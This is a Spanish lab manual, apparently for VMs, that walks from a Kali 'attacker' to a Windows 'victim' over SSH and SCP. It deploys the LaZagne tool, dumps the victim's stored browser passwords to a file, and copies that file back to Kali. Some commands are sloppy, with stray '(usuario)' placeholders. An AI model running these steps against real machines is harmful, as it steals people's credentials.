

# Manual de Instrucciones

Este manual explica paso a paso cómo configurar el firewall, permitir puertos para Samba, transferir archivos y ejecutar comandos de forma remota entre una máquina virtual Kali Linux (atacante) y una máquina virtual Windows (víctima).

## 1. Configuración del Firewall en Kali Linux (UFW)

El firewall UFW (Uncomplicated Firewall) controla el acceso a puertos y servicios.

### Verificar estado del firewall

```
ufw status
```

**Muestra si está activo o inactivo.**

### Habilitar el firewall

```
ufw enable
```

### Activa el firewall UFW.

Permitir puertos usados por Samba

### Samba necesita abrir ciertos puertos para compartir carpetas:

```
sudo ufw allow 445/tcp
```

```
sudo ufw allow 139/tcp
```

```
sudo ufw allow 137/udp
```

```
sudo ufw allow 138/udp
```

### Verificar que el servicio Samba está corriendo

```
sudo netstat -tulpn | grep smbd
```

**Esto muestra si smbd está escuchando en los puertos correctos.**

## 2. Conexión entre Kali y Windows

### Probar conexión con SSH al equipo Windows

```
ssh hector(usuario)@192.168.56.102
```

(Reemplazar 192.168.56.102 por la IP de Windows).

### Comprobar conectividad con PING

```
ping -n 4 192.168.56.101(usuario)
```

En este ejemplo 192.168.56.101 sería la IP de Kali.

## 3. Trabajo con Carpeta Compartida Samba

Moverse a la carpeta compartida

```
cd /srv/samba/share
```

### **Descargar un archivo desde GitHub**

wget https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip

### **Descomprimir el archivo descargado**

unzip master.zip

### **Ver el contenido de la carpeta**

ls -la /srv/samba/share/LaZagne-master/

### **4. Transferencia de Archivos con SCP**

Copiar el proyecto descomprimido hacia Windows:

scp -r /srv/samba/share/LaZagne-master hector(usuario)@192.168.56.102:C:/Windows/Temp/

scp -r copia carpetas completas.

Se envía a la ruta temporal C:\Windows\Temp\.

### **5. Instalación de Dependencias en Windows vía SSH**

Ejecutar en Windows remotamente desde Kali:

ssh hector@192.168.56.102 'python -m pip install pywin32 pyasn1 psutil'

### **6. Verificar Usuarios en Windows**

ssh hector@192.168.56.102 'net user hector'(usuario)

### **7. Ejecutar un Script en Windows y Recuperar Resultados**

Ejecutar el script LaZagne en Windows

ssh hector(usuario)@192.168.56.102 'python C:\Windows\Temp\LaZagne-master\Windows\laZagne.py browsers -vv > C:\Windows\Temp\passwords.txt 2>&1'

Copiar el archivo de resultados a Kali

scp hector(usuario)@192.168.56.102:C:/Windows/Temp/passwords.txt /home/kali/recuperacion.txt

Leer los resultados

cat /home/kali/recuperacion.txt